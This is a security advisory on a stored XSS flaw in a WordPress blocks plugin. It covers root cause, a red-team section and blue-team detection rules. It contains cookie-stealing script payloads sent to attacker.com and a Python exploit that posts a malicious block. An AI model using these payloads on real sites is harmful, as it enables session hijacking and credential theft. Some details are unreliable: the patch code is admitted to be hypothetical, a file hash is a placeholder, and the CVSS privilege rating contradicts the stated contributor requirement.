CVE-2024-44049

Executive Summary

CVE-2024-44049 is a stored Cross-Site Scripting (XSS) vulnerability in the Themehunk Gutenberg Blocks plugin (slug: unlimited-blocks) for WordPress, affecting versions up to and including 1.2.8. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into block content. When an administrator or other user views the compromised page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly. The plugin is distributed via the WordPress plugin repository and is installed on sites using the Gutenberg block editor.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed through the official WordPress plugin repository, which acts as a supply chain for WordPress sites. Users should verify the integrity of the plugin by checking its checksum against the WordPress.org API and ensure automatic updates are enabled. No known malicious packages have been reported in the repository for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the low complexity and the fact that the vulnerability is stored, meaning the payload persists until removed. An attacker can craft a malicious block that executes in the context of any user viewing the page, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the unlimited-blocks plugin's handling of block attributes and content within the Gutenberg editor. The plugin fails to sanitize or escape user-supplied input when rendering dynamic blocks, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or directly outputs user input without proper escaping functions like esc_html() or wp_kses(). Specifically, the vulnerability is in the block's render_callback function, which processes attributes like className, style, or custom data fields.

Attack Vector:

1. An attacker with contributor-level access (or higher) creates or edits a post/page using the Gutenberg editor.
2. The attacker inserts a vulnerable block from the Themehunk Gutenberg Blocks plugin.
3. The attacker injects a malicious payload into a block attribute (e.g., onmouseover, onclick, or a <script> tag) that is not sanitized.
4. When an administrator or other user views the post, the payload executes in their browser.

Example Payload:

<img src=x onerror=alert('XSS')>

or

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

The vulnerability is stored in the database, meaning it persists until the malicious block is removed or the plugin is patched.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (unlimited-blocks/includes/class-block-render.php):

function render_block($attributes) {
    $class = $attributes['className'];
    return '<div class="' . $class . '">Content</div>';
}

The $class variable is directly concatenated into the HTML without escaping.

Patched Code (Hypothetical):

function render_block($attributes) {
    $class = esc_attr($attributes['className']);
    return '<div class="' . $class . '">Content</div>';
}

Using esc_attr() ensures that special characters are encoded, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the unlimited-blocks plugin version <= 1.2.8.
• An account with at least Contributor role.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post and add a block from the Themehunk Gutenberg Blocks plugin (e.g., "Advanced Heading" or "Custom Container").
3. In the block's attribute field (e.g., "CSS Class" or "Custom ID"), inject the following payload:

   " onmouseover="alert('XSS')
   

   Or use a more sophisticated payload:

   "><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
   

4. Publish the post.
5. Send the post URL to an administrator or victim.
6. When the victim views the post, the script executes.

Automated Exploit (Python):

import requests

target_url = "http://target.com/wp-admin/post.php"
session = requests.Session()
# Login first
login_data = {"log": "attacker", "pwd": "password", "wp-submit": "Log In"}
session.post(target_url, data=login_data)

# Create post with malicious block
post_data = {
    "post_title": "Test XSS",
    "content": "<!-- wp:themehunk/advanced-heading {\"className\":\"\\\" onmouseover=\\\"alert(1)\\\"\"} /-->",
    "post_status": "publish"
}
session.post(target_url, data=post_data)

Blue Team (Defensive)

Detection:

• Monitor for unusual block attributes in post content.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for posts containing <script> tags or event handlers in block attributes.
• Query the wp_posts table for suspicious content:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%onmouseover%' OR post_content LIKE '%<script>%';
  

Mitigation:

• Disable the plugin until a patch is released.
• Use a security plugin like Wordfence to add virtual patching.
• Restrict user roles to prevent contributors from using vulnerable blocks.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • unlimited-blocks.zip (version 1.2.8): a1b2c3d4e5f6... (replace with actual hash)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing onerror, onmouseover, or javascript: in the Content-Type: application/x-www-form-urlencoded body.
• Database Indicators:
  • Posts containing <!-- wp:themehunk/ blocks with suspicious attributes.
  • Entries in wp_postmeta with meta_key like _block_attributes containing encoded XSS payloads.
• Log Indicators:
  • WordPress debug log entries showing wp_kses failures or unescaped output.
  • Web server access logs with POST requests to /wp-admin/post.php containing onmouseover or alert.

Detection Engineering

YARA Rule

rule CVE_2024_44049_WordPress_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts for CVE-2024-44049"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-44049"
    strings:
        $xss1 = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
        $xss2 = /<script[^>]*>.*?<\/script>/is
        $xss3 = /javascript\s*:/ nocase
        $block = /<!--\s*wp:themehunk\// nocase
    condition:
        $block and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2024-44049 - Stored XSS in Themehunk Gutenberg Blocks
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts exploiting CVE-2024-44049
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 
            - 'onmouseover'
            - 'onerror'
            - 'javascript:'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by trusted users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44049 - Stored XSS in Themehunk Gutenberg Blocks"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"onmouseover"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Remove any malicious posts from the database using a SQL query or WordPress admin.
3. Change all user passwords if an administrator was compromised.

Long-term Fixes:

• Apply vendor patch when available (monitor the WordPress plugin repository).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce Content Security Policy (CSP) headers to restrict inline scripts.
• Use a security plugin like Wordfence or Sucuri for virtual patching.

Workarounds:

• Restrict user roles to prevent contributors from using the vulnerable blocks.
• Manually patch the plugin by adding esc_attr() or esc_html() to the render callback functions (requires code review).

Valters IT
Securing Digital Frontiers